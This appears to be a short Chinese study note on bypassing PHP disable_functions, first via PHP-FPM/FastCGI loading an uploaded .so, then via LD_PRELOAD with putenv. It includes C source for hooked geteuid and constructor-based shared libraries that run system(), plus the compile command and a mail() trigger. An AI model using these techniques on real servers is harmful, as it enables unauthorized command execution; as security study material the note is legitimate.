今天你学废了吗
所以说,包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息 的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。 总结 思考 这里给出自己的答案,之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir extension,然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过??? 是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce 下面是清楚点的。
LD_PRELOAD与putenv的配合使用,即LD_PRELOAD这个环境变量指定路径的文件(也是so文件),会在其他文件被调用前,最先被调用而putenv可以设置环境变量。 介绍了某一个php函数,我认为是在执行的过程中能fork子进程的函数(启动外部程序的函数并能执行)然后我们hook该fork子进程,进行重写,完成rce。 例如: mail('’,’’,’’,’’);#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() { system('ls / > /tmp/sky');}int geteuid() { if (getenv('LD_PRELOAD') == NULL) { return 0; } unsetenv('LD_PRELOAD'); payload();}//编译成so文件//gcc -c -fPIC hack.c -o hack.so还有imap_mail()、mb_send_mail()和error_log()函数等然后还有一个进化版本#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__ ((__constructor__)) void angel (void){ unsetenv('LD_PRELOAD'); system('ls');} 其中attribute ((constructor))有如下说明 1.It's run when a shared library is loaded, typically during program startup. 1.它在加载共享库时运行,通常在程序启动时运行。//putenv('LD_PRELOAD=hack.so'); |
|
来自: Fengsq501u81r4 > 《计算机》